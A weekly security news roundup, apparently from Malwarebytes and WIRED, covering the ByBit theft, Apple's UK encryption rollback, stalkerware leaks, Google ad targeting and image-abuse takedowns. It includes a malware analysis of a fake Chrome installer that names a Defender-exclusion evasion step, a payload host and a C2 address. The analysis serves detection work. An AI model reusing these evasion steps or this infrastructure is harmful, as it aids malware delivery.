A list of topics we covered in the week of February 17 to February 23 of 2025

February 21, 2025 - Healthcare security is failing patients time and again. This week DM Clinical Research and Helath Net Federal Services take the spotlight

February 20, 2025 - Beware before downloading Google Chrome from a Google search, you might get more than you expected.

February 20, 2025 - An infostealer known as ACRStealer is using legitimate platforms like Google Docs and Steam as part of an attack.

February 20, 2025 - South Korea says it's uncovered evidence that DeepSeek has secretly been sharing data with ByteDance, the parent company of popular social media app TikTok.

February 19, 2025 - Malwarebytes now protects ARM-based Windows devices, such as Microsoft’s Surface Pro X and Lenovo’s Yoga laptops.

 A week in security (February 17 &#8211; February 23) 

Plus: Apple turns off end-to-end encrypted iCloud backups in the UK after pressure to install a backdoor, and two spyware apps expose victim data—and the identities of people who installed the apps.

As the so-called Department of Government Efficiency continues to rampage through the United States government by making sweeping cuts to the federal workforce, numerous ongoing lawsuits allege that the group’s access to sensitive data violates the Watergate-inspired Privacy Act of 1974 and that it needs to halt its activity. Meanwhile, DOGE cut staff this week at the Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency and gained access to CISA’s digital systems after the agency had already frozen its eight-year-old election security initiatives late last week.

The National Institute of Standards and Technology was also bracing this week for roughly 500 staffers to be fired, which could have serious impacts on NIST’s cybersecurity standards and software vulnerability tracking work. And cuts last week at the US Digital Service included the cybersecurity lead for the central Veterans Affairs portal, VA.gov, potentially leaving VA systems and data more vulnerable without someone in his role.

Multiple US government departments are now considering bans on China-made TP-Link routers following recent aggressive Chinese digital espionage campaigns. (The company denies any connection to cyberattacks.) A WIRED investigation found that users of Google’s ad tech can target categories that shouldn’t be available under the company’s policies, including people with chronic diseases or those in debt. Advertisers could also target national security “decision makers” and people involved in the development of classified defense technology.

Google researchers warned this week that hackers tied to Russia have been tricking Ukrainian soldiers with fake QR codes for Signal group invites that exploited a flaw to allow the attackers to spy on target messages. Signal has rolled out updates to stop exploitation. And a WIRED deep dive examines how difficult it can be for even the most connected web users to have nonconsensual intimate images and videos of themselves removed from the web.

And there's more. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

Running a cryptocurrency exchange is a risky business, as hacking victims like Mt. Gox, Bitfinex, FTX, and plenty of others can attest. But never before has a platform for buying and selling crypto lost a 10-figure dollar sum in a single heist. That new record belongs to ByBit, which on Friday revealed that thieves hacked its Ethereum-based holdings. The hackers made off with a sum that totals to $1.4 billion, according to an estimate by cryptocurrency tracing firm Elliptic—the largest crypto theft of all time by some measures.

ByBit CEO Ben Zhou wrote on X that the hackers had used a “musked transaction”—likely a misspelling of “masked transaction”—to trick the exchange into cryptographically signing a change in the code of the smart contract controlling a wallet holding its stockpile of Ethereum. “Please rest assured that all other cold wallets are secure,” Zhou wrote, suggesting that the exchange remained solvent. “All withdraws are NORMAL.” Zhou later added in another note on X that the exchange would be able to cover the loss, which if true suggests that no users will lose their funds.

The theft dwarfs other historic hacks of crypto exchanges like Mt. Gox and FTX, each of which lost sums of cryptocurrency that were worth hundreds of millions of dollars at the time the thefts were discovered. Even the stolen loot from the 2016 Bitfinex heist, which was worth close to $4.5 billion at the time the thieves were identified and the majority of the funds recovered in 2022, was only worth $72 million at the time of the theft. ByBit’s $1.4 billion is by that measure a far bigger loss and, considering that all crypto thefts in 2024 totaled to $2.2 billion, according to blockchain analysis firm Chainalysis, a stunning new benchmark in crypto crime.

**Bowing to a Government Demand, Apple Disables iCloud End-to-End Encryption in the UK**

The British government earlier this month raised privacy alarms worldwide when it demanded that Apple give it access to users’ end-to-end encrypted iCloud data. That data had been protected with Apple’s Advanced Data Protection feature, which encrypts stored user information such that no one other than the user can decrypt it—not even Apple. Now Apple has caved to the UK’s pressure, disabling that end-to-end encryption feature for iCloud across the country. Even as it turned off that protection, Apple expressed its reluctance in a statement: "Enhancing the security of cloud storage with end-to-end-encryption is more urgent than ever before," the company said. "Apple remains committed to offering our users the highest level of security for their personal data and are hopeful that we will be able to do so in future in the UK." Privacy advocates worldwide have argued that the move—and the UK’s push for it—will weaken the security and privacy of British citizens and leave tech companies vulnerable to similar surveillance demands from other governments around the world.

**Cocospy and Spyic Stalkerware Apps Expose Millions of Victims’ Data Online**

The only thing worse than the scourge of stalkerware apps—malware installed on phones by snooping spouses or other hands-on spies to surveil virtually all of the victim’s movements and communications—is when those apps are so badly secured that they also leak victims’ information onto the internet. Stalkerware apps Cocospy and Spyic, which appear to have been developed by someone in China and largely share the same source code, left data stolen from millions of victims exposed, thanks to a security vulnerability in both apps, according to a security researcher who discovered the flaw and shared information about it with TechCrunch. The exposed data included messages, call logs, and photos, TechCrunch found. In a karmic twist, it also included millions of email addresses of the stalkerware’s registered users, who had themselves installed the apps to spy on victims.

$1.4 Billion Stolen From ByBit in Biggest Crypto Theft Ever

Beware before downloading Google Chrome from a Google search, you might get more than you expected.

Criminals are once again abusing Google Ads to trick users into downloading malware. Ironically, this time the bait is a malicious ad for Google Chrome, the world’s most popular browser.

Victims who click the ad land on a fraudulent Google Sites page designed as a intermediary portal, similar to what we saw earlier this year with the massive Google accounts phishing campaign.

The final redirect eventually downloads a large executable disguised as Google Chrome which does install the aforementioned but also surreptitiously drops a malware payload known as SecTopRAT.

We have reported this incident to Google, but at the time of writing the fake Google Sites page is still up and running.

We identified a suspicious ad when searching for “_download google chrome_“. If you look at the URL embedded in the sponsored result, you will notice it shows “_https://sites.google.com_“, which is Google’s free website builder.

While most pages hosted on there are legitimate, it’s good to remember that they are user generated and that abuse is a part of any open platform. It’s also a way for criminals to cleverly appear as legitimate when building fake ads.

**Malware payload**

Once a user double clicks on _GoogleChrome.exe_ the fake Chrome installer connects to _hxxps\[://\]launchapps\[.\]site/getCode\[.\]php_ and retrieves the necessary instructions. Below, we can see how it requests to run as administrator in order to perform certain actions that require this access level.

A PowerShell command adds an exclusion path to the %appdata%\\Roaming directory so that Windows Defender does not trigger when the malware payload is extracted.

An encrypted data stream is downloaded from _hxxps\[://\]launchapps\[.\]site/3\[.\]php?uuid={}\_uuid_ and then decrypted:

The executable named _decrypted.exe_ (PDB path: _D:\\a\\wix4\\wix4\\build\\burn\\Release\\x64\\burn.pdb_) is then dropped to %\\AppData%\\Roaming\\BackupWin\\ and unpacks the final payload, _waterfox.exe_. Side note: it has the same name and icon as the Waterfox browser (an open-source fork of the Firefox web browser).

The malicious code is then injected into the legitimate _MSBuild.exe_ process which communicates with the attackers’ command and control infrastructure at the following IP: 45.141.84\[.\]208. From this, we identify the malware payload as SecTopRAT, a remote access Trojan with stealer capabilities.

Lastly, to make sure victims are completely fooled, it finishes by downloading and installing the legitimate Chrome browser. From the installation script, we see other campaigns the same threat actors are running in parallel for fake Notion and Grammarly installers.

**Conclusion**

Downloading and installing software provides an opportunity for threat actors as long as they are able to compromise the delivery chain. Search ads provide that entry point by leveraging the trust users have in their search engine. It is somewhat ironic but also damning when malicious ads impersonate the same platform that allows them in the first place.

The fake Chrome installer we reviewed in this blog post cleverly retrieved its malicious payload dynamically from a remote site and only decrypted it after making sure Windows Defender would not be able to scan it. The ruse was complete when the actual legitimate Google Chrome installer was downloaded and installed.

Malwarebytes users were already protected from this attack, with Browser Guard blocking the malicious ad and Premium Security Antivirus detecting the dropped payload.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**Indicators of Compromise**

Google Sites

sites\[.\]google\[.\]com/view/gfbtechd/

Fake Chrome download

chrome\[.\]browser\[.\]com\[.\]de  
chrome\[.\]browser\[.\]com\[.\]de/GoogleChrome.exe  
48fdfbe23eef7eddff071d3eda1bc654b94cf86036ca1cca9c73b0175e168a55

Payload host

launchapps\[.\]site

decrypted.exe

f0977c293f94492921452921181d79e8790f34939429924063e77e120ebd23d7

waterfox.exe

0f9b2870c4be5ebacb936000ff41f8075ec88d6535161a93df8e6cfea2d8db54

C2

45.141.84\[.\]208

 SecTopRAT bundled in Chrome installer distributed via Google Ads 

An infostealer known as ACRStealer is using legitimate platforms like Google Docs and Steam as part of an attack.

An infostealer known as ACRStealer is using legitimate platforms like Google Docs and Steam as part of an attack, according to researchers.

ACRStealer is often distributed via the tried and tested method of download as cracks and keygens, which are used in software piracy. The infostealer has been around since mid-2024 (as a beta test), but it’s only really taken off in 2025. ACRStealer is capable of:

*   Identifying which antivirus solution is on a device
*   Stealing crypto wallets and login credentials
*   Stealing browser information
*   Harvesting File Transfer Protocol (FTP) credentials
*   Reading all text files

With that kind of information, cybercriminals can go after your cryptocurrency and other funds. With the capture of usernames and passwords from web browsers, attackers can access your accounts, including email, social media, and financial services.

They may even gather enough personal data to be used for identity theft or sold on the dark web.

What stands out in the recently-found ACRStealer variants is the way they communicate with the command and control (C2) server—a computer which is used to send commands to systems compromised by malware and receive stolen data from a target network. Rather than hard-coding the IP address in the malware, they chose to use a method called Dead Drop Resolver (DDR), where the malware contacts a legitimate platform like Google Docs or Steam to read what the C2 domain is.

This is good for the cybercriminals as it means they can easily change the domain if one gets discontinued, seized, or blocked. All they need to do is update the Google Doc.

And outgoing calls to docs.google.com will not easily trigger an alarm, so it helps in staying under the radar.

**Stay safe from the ACRStealer**

Like many other information stealers, ARCStealer is operated under the Malware-as-a-Service (MaaS) model, where criminals rent out the malware and the infrastructure to other criminals. That makes it hard to know exactly how to defend yourself.

However, there are some things you can do:

*   Stay away from websites offering cracks and keygens
*   Download software from the official publisher wherever possible
*   Don’t click on links in unsolicited communications (email, texts, DMs, etc)
*   Don’t open unverified attachments
*   Use multi-factor authentication (MFA) wherever you can, so even if cybercriminals steal your login details they won’t be able to get into your account
*   Use an active and up-to-date anti-malware solution.

Malwarebytes recognizes new variants of ACRStealer by behavior, which will result in the detection name of Malware.AI.{ID-number}.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Google Docs used by infostealer ACRStealer as part of attack 

Google enables marketers to target people with serious illnesses and crushing debt—against its policies—as well as the makers of classified defense technology, a WIRED investigation has found.

A WIRED investigation into the inner workings of Google’s advertising ecosystem reveals that a wealth of sensitive information on Americans is being openly served up to some of the world’s largest brands despite the company’s own rules against it. Experts say that when combined with other data, this information could be used to identify and target specific individuals.

Display & Video 360 (DV360), one of the dominant marketing platforms offered by the search giant, is offering companies globally the option of targeting devices in the United States based on lists of internet users believed to suffer from chronic illnesses and financial distress, among other categories of personal data that are ostensibly banned under Google’s public policies.

Other lists of American users accessible for a price across the platform raise serious national security concerns, experts say, as they reveal data brokers striving to isolate millions of mobile devices carried by government workers—from US judges and military service members to executive agency staff and employees on Capitol Hill.

First reviewed by WIRED, an internal spreadsheet obtained from a US-based data broker shows the DV360 platform currently hosting hundreds if not thousands of restricted or otherwise sensitive “audience segments,” each containing a large tranche of data that points to countless mobile devices and online profiles of people in the US. The segments are generated not by Google, but by DV360 customers who upload them to the system, where others can use them to target ads at specific audiences.

The data—first obtained by the Irish Council for Civil Liberties (ICCL), Ireland's oldest independent human rights body—reveals segments targeting hundreds of millions of device users based exclusively on health conditions, from chronic pain and menopause to, among others, fibromyalgia, psoriasis, arthritis, high cholesterol, and hypertension.

“As with other demand-side platforms, advertisers are able to upload audience lists to Display & Video 360, based either on their own first-party data or from segment providers,” says Erica Walsh, a Google spokesperson. “Our policies do not permit audience segments to be used based on sensitive information like employment, health conditions, financial status, etc.”

Despite this, numerous segments contained in the data are clearly targeted at households and businesses based purely on data suggesting they’re experiencing financial hardship—aiming, for instance, to help advertisers identify people who are in the process of bankruptcy or burdened by long-term debt.

Allison Bodack, another Google spokesperson, tells WIRED that when the company detects “non-compliant audience segments, we will take action.” Asked to explain why Google had not detected segments with descriptions such as “Individuals likely to have a Cardiovascular condition,” or “Parents of children likely to have a respiratory disease, like Asthma,” Bodack did not respond.

Segments accessible through DV360 that target Americans with asthma contain at least hundreds of millions of mobile IDs—among them, a list simply titled, “People who have asthma.” Hundreds of millions more were found on lists for no other reason than the fact that their users are believed to have diabetes. A vast number of devices and user profiles are spread out across lists that target users determined likely to need specific medications, including some controlled substances, such as Ambien. One list links more than 140 million mobile IDs to opioid usage, suggesting the users need relief from a common "opioid-induced" side effect.

Google did not respond when asked whether a data broker had violated its rules by offering advertisers access to a list of people “likely to have an Endocrine disorder.” (The company only stated that its policies “do not permit” such segments “to be used.”) Asked to explain whether it assigns any level of risk to audience segments that target US government employees working in national security jobs, or contractors with access to restricted US defense-related technologies, Google’s spokespeople did not respond.

Among a list of 33,000 audience segments obtained by the ICCL, WIRED identified several that aimed to identify people working sensitive government jobs. One, for instance, targets US government employees who are considered “decision makers” working “specifically in the field of national security.” Another targets individuals who work at companies registered with the State Department to manufacture and export defense-related technologies, from missiles and space launch vehicles to cryptographic systems that house classified military and intelligence data.

Sources with firsthand knowledge of Google’s platform, granted condition of anonymity to protect against retaliation on the job, confirmed the segments were actually accessible to Google’s ad buyers. Unlike Google Ads, which is free and typically used by individuals and small businesses, DV360 is a paid platform primarily aimed at companies that spend over $50,000 in ad buys per month. Google’s DV360 partners include the likes of Disney and NBCUniversal.

“This is exactly the kind of seemingly obscure data that would pique a foreign adversary's interest,” says Justin Sherman, CEO of Global Cyber Strategies, and author of the upcoming book _Navigating Technology and National Security_. “It’s not necessarily held in every dataset, but it speaks to a medical condition, it speaks to use of a powerful drug, and it speaks to something that could potentially be exploited in an intelligence context.”

Over the last decade or so, online advertising has evolved to include technologies capable of “micro-targeting” individuals based on surveillance data gathered from a wide variety of sources. Users are grouped into “segments” by data brokers who aim to isolate individuals with the help of unique mobile identifiers—alphanumeric strings that are assigned to mobile devices and are widely shared across the advertising ecosystem. These mobile IDs are employed to not only track a user’s movements but their online habits, including which apps they use, and are regularly combined with “cookies” that track web browsing behavior and purchasing information.

While the purpose of mobile IDs and other ad-based identifiers is, ostensibly, to help shield users’ identities, it is no secret that when combined with other datasets, it can become trivial to re-identify people whose information has been “anonymized.”

A government report declassified by the US Office of National Intelligence in June 2023 notes that commercial data may be combined to “reverse engineer identities or deanonymize various forms of information.” Advisers to the nation’s top spy at the time, Avril Haines, added in the report: “In the wrong hands, sensitive insights gained through \[commercially available information\] could facilitate blackmail, stalking, harassment, and public shaming.”

Demonstrating the point, many data brokers that exist on the periphery of Google’s advertising exchange work to assist marketers by crafting complex dossiers on individual consumers, “enriching” anonymized profiles with information drawn from a range of public and government sources. Frequently this includes credit card transactions, social media posts, bankruptcy filings, vehicle registration records, employment records, and hoards of web tracking data quietly amassed from websites, apps, and IoT devices.

With such access, data brokers aim to craft customized lists of potential targets, such as people who have “careers in the armed forces” and enjoy “gambling in general,” or those who are an “active conservative voter” likely to “participate in a civil protest,” according to the ICCL-provided data.

The manner in which the data was originally acquired by the ICCL provides a quintessential example of the ease with which rival foreign intelligence agencies can gain access to Americans’ data with minimal effort. Johnny Ryan, director of Enforce, ICCL’s investigative branch, says he was surprised by how easy the access came. “I was prepared for a complex process that would test my cover story,” he says, “but when I signed up there was no questions asked whatsoever.”

To gain access to the data broker’s segments, Ryan created a website for a fake “data analytics” firm. The “company” isn’t registered anywhere officially, but exists solely as a handful of web pages. On them, Ryan placed an image of a Russian soldier, apparently in the midst of combat, alongside a map of Ukraine. The firm’s work is vaguely described as helping “select clients” obtain “real-time” awareness of “targets” in the field. Ryan used this implausible cover while approaching data brokers based in the US.

“I could have been anybody,” he says.

To protect the integrity of ongoing research, WIRED agreed to delay identifying any data brokers being monitored by the ICCL.

Ryan’s research into ad-tech abuse informed a Federal Trade Commission lawsuit brought in 2024 against Mobilewalla, a data broker that, the FTC claims, widely offered access to segments used “specifically” to target “pregnant women and young mothers,” while also selling mobile IDs that tracked people visiting medical facilities and domestic abuse shelters. (Similarly, WIRED identified segments in the ICCL’s data that linked millions of mobile devices to expectant mothers, as well as more than 140 lists that referenced a “propensity” for “disease.” Fifty-one million mobile IDs belong to a segment aimed specifically at women likely to lack preventive care.)

According to the FTC government complaint, Mobilewalla collected more than 183 million mobile IDs in 2021 alone. Between 2018 and 2020, the company sourced roughly 60 percent of its data directly from real-time bidding (RTB) exchanges, marketplaces where advertisers compete for online ad space in lightning-fast auctions.

A complaint filed by Enforce and the Electronic Privacy Information Center (EPIC) last month urges the FTC to launch an investigation into whether Google’s RTB tools have allowed sensitive data to be made available to foreign adversaries—information that Ryan, along with other experts, says includes vast troves of personal data tied to “active military, intelligence personnel, and key leaders.”

Many of the conditions, behaviors, and traits reflected in the data, such as a likelihood of financial debt, propensity for high alcohol use, and certain medical conditions, are criteria that can adversely affect a federal employee’s eligibility to access classified information—illustrating the potential of its use for blackmail purposes.

EPIC and Enforce allege that Google both “directly” and “indirectly” provides foreign adversaries, including China, with “extraordinarily sensitive” commercial data concerning “America’s leaders and sensitive defense personnel,” while pointing the finger at Google as the predominant commercial entity behind a vast and widely ignored “national security crisis.”

“Google’s purported self-regulation cannot protect us,” says EPIC senior counsel Sara Geoghegan, whose complaint points to restrictions on data broker deals cemented last year under a new federal law, the Protecting Americans’ Data from Foreign Adversaries Act (PADFAA). According to Geoghegan, Google’s advertising tools pose a unique national threat, one that Congress has specifically charged the FTC with eliminating.

Google’s spokesperson Erica Walsh denies any wrongdoing on the part of the company, saying that, for instance, while Google’s ad exchanges continue to accept business from Chinese companies, it has long since ceased sharing data with Russian entities. Last year, she says, Google introduced a new system designed to identify companies with ties to China in order to restrict the types of information they receive about US consumers. “This means we never share data tied to a specific user in the US for bid requests to those known entities,” she says.

While the FTC has yet to introduce any cases based on PADFAA—and also declined to comment for this story—the law notably extends far beyond data that is merely “tied to a specific user.” Google and other US companies are now forbidden under law from providing companies with ties to hostile nations with any information that, no matter how anonymized, can be tied back to a specific user when combined “with other data.”

China is reported to have the world’s largest security and intelligence apparatus, employing a veritable army of hackers that have spent decades infiltrating US corporations and agencies to steal data, most recently compromising at least 11 of the nation’s telecommunications networks.

“It would be a joke for the Chinese government to link a mobile ad ID to a person's name,” says Sherman of Global Cyber Strategies.

Walsh notes that under Google’s new rules, mobile IDs are automatically stripped from RTB data served to Chinese entities. Along with other identifiers, Google also redacts the location data of devices being served the ads, limiting what Chinese companies can see to the name of a city. Google will provide the URL of a web page or the name of an app that an American is using, it says, but only in real time.

To ensure compliance, Walsh says, Google employs an independent company to “regularly” audit its authorized RTB buyers. Google declined to reveal more about the audits, but its public documentation suggests they are conducted at Google’s expense, “no more than once during each 12 month period.”

Zach Edwards, a longtime advertising-industry researcher and senior threat researcher at cybersecurity firm Silent Push, says Google’s efforts to limit the flow of data to China may ultimately have little effect. When a company wins a bid and its ad is served on a web page, he says, it becomes possible to acquire much of the same data that Google preemptively redacts, including a user's full IP address and detailed information about the device they are using. Chinese hackers have reportedly used this technique in the past to execute malicious code on millions of users’ devices—a threat known as “malvertising.”

“Redacting the bid request is totally moot,” Edward says. “If you take tens of millions of dollars from Chinese advertisers and don’t blink at them buying every impression, they outbid everyone and are able to get on the page.” According to recent reports, Chinese companies are spending “huge sums” on ads targeting US consumers, netting major profits for Meta, X, YouTube, and similar Silicon Valley firms that dominate the digital advertising market. In a February 2024 earnings call, Meta said that “China-based advertisers represented 10 percent of our overall revenue” for 2023, which totaled $133 billion.

“Even if Google were to change its practices and only initially broadcast RTB data to entities in the United States,” EPIC’s complaint says, the data would “inevitably” fall into foreign actors’ hands. “Google has no way to control what happens to the data that it broadcasts so freely,” it alleges. This was also the contention of the organization that develops technical standards for the advertising industry. Known as the Interactive Advertising Bureau (IAB), the organization acknowledged in 2018 that there is “no technical way to limit the way data is used after the data is received by a vendor.”

Foreign actors and private surveillance firms have been caught routinely exploiting RTB systems by creating shell advertising companies in order to access bid-stream data: information on users broadcast between the demand and supply sides of an RTB auction. In 2022, Adalytics, a digital ad analysis firm, published a report alleging that Google was sharing RTB data with RuTarget, an ad-tech firm owned by Russia’s largest state bank; activity that Google says it ceased in response. In 2023, Bloomberg reported that, by operating its own demand-side platform, an Israeli surveillance company called Rayzone had gained direct access to Google’s RTB data.

Last year, 404 Media reported on another Israeli tool called Patternz that was for leveraging access to Google’s system in the same manner.

Senator Ron Wyden of Oregon, who has authored legislation that would ban federal agencies from buying data that normally requires a warrant, says the fact that Google’s platform provides overseas companies access to any personal data on military and intelligence personnel is an “outrageous practice.” “Federal regulators should throw the book at Google,” he believes, “and cut off the company from federal contracts until it stops exposing our troops to harm.”

Internal Google communications cited by EPIC and Enforce reveal a historical reluctance by Google to take practical steps to remedy the problem, despite company leaders internally acknowledging the risk. A 2014 exchange, first revealed during a federal antitrust case two years ago, shows one senior executive acknowledging the “difficulty in figuring out what buyers are actually doing with the data we're sending.”

The remark prompted another executive to inquire as to what the “financial impact” may be of actually addressing the problem.

In another document, from late 2021, Google’s chief marketing officer, Lorraine Twohill, advises CEO Sundar Pichai to move the company away from real-time bidding, telling him: “Users point to our ads as THE reason why they can't trust Google and why they think we sell their personal information to 3rd parties.”

Twohill’s letter—sent on International Data Privacy Day—makes clear her opinion of Google’s advertising practices: “real time bidding on user data = bad,” she writes, before signing off, “Your privacy obsessed pal.”

Google Ad-Tech Users Can Target National Security ‘Decision Makers’ and People With Chronic Diseases

Breeze Liu has been a prominent advocate for victims. But even she struggled to scrub nonconsensual intimate images and videos of herself from the web.

Breeze Liu’s online nightmare started with a phone call. In April 2020, a college classmate rang Liu, then 24 years old, to tell her an explicit video of her was on PornHub under the title “Korean teen.” Liu alleges it had been filmed without her permission when she was 17 and uploaded without her consent.

Over time, the video mushroomed and multiplied: it was saved, posted on other porn websites and, Liu claims, used to create intimate deepfake videos that spread across the web. The impact on Liu was profound. “I honestly had to struggle with suicidal thoughts, and I almost killed myself,” she says.

Wiping around 400 nonconsensual images and videos from the web would require a multiyear, intercontinental effort. During this time, Liu went from working as a venture capitalist to starting her own company to help fight digital abuse. But when dealing with her own content, the entrepreneur faced a wall of silence and continual delays from one of the internet’s biggest gatekeepers: Microsoft.

As images and videos are published on websites like PornHub, they’re often hosted on cloud infrastructure. A series of emails related to Liu’s case reviewed by WIRED, plus interviews with a French victims’ aid organization and other advocates working with her, show how Microsoft, despite repeated pleas, did not remove about 150 explicit images of Liu stored on its Azure cloud services. While other companies took down hundreds of images, Liu and a colleague say Microsoft only took action after the two confronted a senior member of the tech giant’s safety team at a content moderation conference.

The drawn-out process, which prolonged the emotional toll on Liu, provides a detailed illustration of the difficulties victims and survivors of intimate image abuse experience in trying to erase the content from the web. Liu’s ordeal also highlights the void some victims fall into when their age in the imagery is disputed or hard to discern, an overlooked problem that may become more pressing as nudify apps spread in high schools.

“It’s almost impossible for ordinary people to navigate the complex system and do damage control,” Liu says. While she has shared parts of her struggle before, many of the details in this story and the resolution of Microsoft’s prolonged failure to remove the intimate images have not been previously reported. “We’re facing an extremely broken system, and this is a global issue,” Liu says. “This is a huge problem.”

Courtney Gregoire, Microsoft’s chief digital safety officer, says the company has learned from miscommunications in Liu’s case and doesn’t want anyone to go through the agonizing experience she did. “This content is a priority area where we endeavor to be actioning within 12 hours,” Gregoire says. For Liu, the grueling process took eight months.

After being alerted to the first nonconsensual video of her online in April 2020, Liu says, it took her a whole day to calm down. On May 14 of that year, she contacted the Berkeley Police Department, where she lived in California at the time.

The state considers it a misdemeanor crime to share real or spoofed intimate images of someone without their consent while knowing it would cause them distress. Detectives obtained search warrants for some websites but couldn’t identify the people responsible for uploading the content “based on the limited information retained by the internet sites and the overseas nature of the accounts involved,” department spokesperson Byron White says. Liu says she had a suspicion of who was responsible for the uploads, but the detectives weren’t sure how to prove it.

Liu contacted the Cyber Civil Rights Initiative, a US-based nonprofit that helps to tackle abusive content. While the organization found another webpage with violative content of her, the entrepreneur says it couldn’t aid her with takedown requests because she appeared potentially under the age of 18 in the images. The Cyber Civil Rights Initiative declined to comment about Liu but confirmed that it is legally barred from reviewing sexual imagery of minors.

By this point, it had been months since Liu first learned of the images and videos, and she needed a break. The original video hadn’t been quickly removed, and Liu suspected it had already spread far and wide. She felt powerless. She decided to let the case go, citing the stress of the pandemic, her frantic work schedule in venture capital, and the toll on her health. Embarrassed and terrified, the only confidant she told her story to was her cat.

“I always had this gut feeling that there’s more, but I was not mentally stable enough to handle any more brutal truths,” Liu says, adding that she did not feel comfortable searching for them herself. “You don’t want to see that of yourself.” That changed after Liu left her VC job in 2022 and decided to fully pursue her own startup, Alecto AI, which aims to develop face-recognition tools to help people find and remove nonconsensual images that have been shared on digital platforms.

It took about three years before Liu was ready to revisit efforts to get the explicit content of her taken down. Toward the end of 2023, she enlisted the help of her Alecto AI cofounder, Andrea Powell, a longtime trafficking and abuse victims’ advocate. That October, they sought out the help of a researcher at a victim helpline funded by the UK government. The researcher’s manual and automated image searching discovered 832 links appearing to show Liu in intimate states. “I couldn’t even look at the file, because that was just too much,” Liu says. She dialed up her therapist while a friend downloaded the spreadsheet of URLs for her. “She wasn’t even clicking into the content; she was just looking at the name of the URLs and she started crying,” Liu says.

Powell says the links contained “violent Asian-centric” language. But the UK-funded helpline can’t help victims abroad with takedowns, leaving Liu stranded with the spreadsheet. She thought about using StopNCII, a popular tool that uses matching algorithms to find abusive images, but felt it wasn’t a good fit. She feared it might not be able to spot potential deepfakes.

Liu then contacted the FBI, which preserved some of the links as evidence but in her view did not demonstrate further progress toward arresting the original uploader. The agency declined WIRED’s request for comment.

At one point, Liu turned to the National Center for Missing & Exploited Children, or NCMEC, a nonprofit established by the US Congress to work with child sexual abuse imagery, to see if it could help. But the nonprofit could not engage, Liu says. Even though Liu looked young in the content, she could not prove she was under 18 at the time, a prerequisite for NCMEC to pursue takedowns.

Lauren Coffren, NCMEC’s executive director, says it relies on partner law enforcement agencies to assess the age of victims. Age-borderline cases are rare, Coffren says, but “that stinks for a survivor” who should qualify for the organization’s help. “It speaks to just how difficult it is for survivors to be able to navigate this.”

Liu felt stuck between groups that seemingly couldn’t pursue takedowns for her. And she was tired of being judged. “What difference would it make if I was 17 or just two days over 18?” she says. “The damage for me is the same. It’s beyond frustrating.”

That’s when Powell, at the Paris Peace Forum, pleaded to a French victims’ aid organization, Point de Contact, which assists people in reporting illegal content. “I was sort of threatening that I just fly Breeze to France and make the case she’s French,” Powell says. Ultimately, on November 13, 2023, Point de Contact agreed to step up where other organizations had not. In the following days, emails show, the hotline analyzed the URLs and by the middle of December had started to send legal takedown demands to hosting providers. Liu was overcome—progress at last. “I'm literally shaking as I'm typing this,” Liu wrote in an email as the work began.

Etienne Dirani, operations manager at Point de Contact, says it found 395 nonconsensual images in the links Liu provided. The majority of the remaining 437 had already been deleted or made inaccessible. Others did not clearly identify Liu, or did not depict her intimately. Dirani says “tens” of unique images were published across multiple websites and that Point de Contact’s investigation at the time didn’t find any content “likely” generated by AI.

Some companies and hosting providers moved quickly; by the first week of January 2024, 155 URLs were dead. Microsoft, according to emails from Point de Contact to Liu, requested additional identifying information, such as her full name and social media handles, so the company could verify the content was associated with her. Liu provided these details, including a copy of her passport, but nothing happened.

More than a month later, a few dozen additional pieces of content had been removed. Of the 202 that remained online, 142 were hosted on Microsoft’s Azure services. A Point de Contact investigator emailed Liu and alleged, “Microsoft's abuse team did not answer our notification emails” and said the team was trying some of its individual contacts at the company. Around that time, a frustrated Liu mentioned Microsoft’s slow response in an interview with The Street. An unnamed Microsoft spokesperson told the news outlet that the company was investigating and noted that any potential violations of its acceptable use policy are taken seriously. Yet again, no action followed.

“The main issue we had was the lack of response from Microsoft,” Dirani says. He alleges that Microsoft’s abuse team believed that it needed more information, but he says the company never communicated what that information was. Even a higher-up contact wouldn’t give a straight answer on what additional details could trigger a takedown. Point de Contact tried to “push” Microsoft more, including opening a new case, according to Dirani. “We were sending reminders of all the URLs that were still online,” he says. “But unfortunately, even the new reports we sent were not responded to.”

As months went by, Liu could do little but wonder how many people each day were encountering the violative imagery of her. She was terrified about her career being derailed and was generally disheartened. Powell says she was in touch with Microsoft’s director of public policy for digital safety, Liz Thomas, at the time, but she was told it was difficult to verify the content showed Liu.

However, in late July last year, Powell and Liu concocted a plan to speak with Thomas at a San Francisco hotel hosting TrustCon, a conference for people working on online trust and safety issues. They hadn’t registered for the event, but Powell located Thomas at the hotel’s public bar with a group of colleagues. Once the colleagues left, Powell approached Thomas and urged for action, pointing toward Liu as she made her case. Seeing Liu in the same room made an impact.

Within days of the event, a Microsoft staffer emailed Powell that the case had been escalated, and the 142 URLs with Liu’s image started disappearing. “I don't ideally want to be chasing trust and safety people up and down the halls at TrustCon to deal with a case,” Powell says. “But it was what had to be done.”

At the start of last August, Point de Contact told WIRED that only two images on four different Microsoft servers remained. “We deeply regret that this issue took almost 10 months of communication between the victim, Microsoft and us as an NGO to be resolved,” the NGO said in an email at the time.

Microsoft digital safety chief Gregoire says Liu’s situation has spurred her team to try to improve reporting processes and relationships with victim aid groups. Point de Contact initially flagged links over which the company didn’t have control, according to Gregoire. She declined to elaborate on the circumstances. Dirani says this explanation was never communicated to him, and it remains unclear why the links were not “actionable.”

Only after Powell cornered Thomas over Liu’s case did Microsoft obtain the URLs upon which it could act. “We’re thankful, to be perfectly honest, to the spontaneous connection at TrustCon,” Gregoire says. But it shouldn’t be needed again: Point de Contact now has a more direct way to stay in touch, she says.

Other victim aid groups say their relationships with tech giants remain challenging. Last year, a WIRED investigation revealed that executives at Google rejected numerous ideas raised by staff and outside advocates that aimed to proactively counter access to problematic imagery in search results. Some survivors have found that the fastest way to get content removed is by filing copyright claims, a tactic those working in the online safety industry say is inadequate.

The lack of consistency in policies and processes among tech companies contributes to delays in securing takedowns, according to Emma Pickering, the head of technology facilitated abuse at Refuge, the UK’s largest domestic abuse organization. “They all just respond however they choose to—and the response usually is incredibly poor,” she says. (Google introduced new policies in July 2024 to accelerate removals.)

Pickering claims Microsoft, in particular, has been difficult. “I’ve recently been told if I want to engage with them, we need to provide evidence that we use their platform and we promote them,” she says, adding Refuge is trying to engage with as many tech platforms as possible.

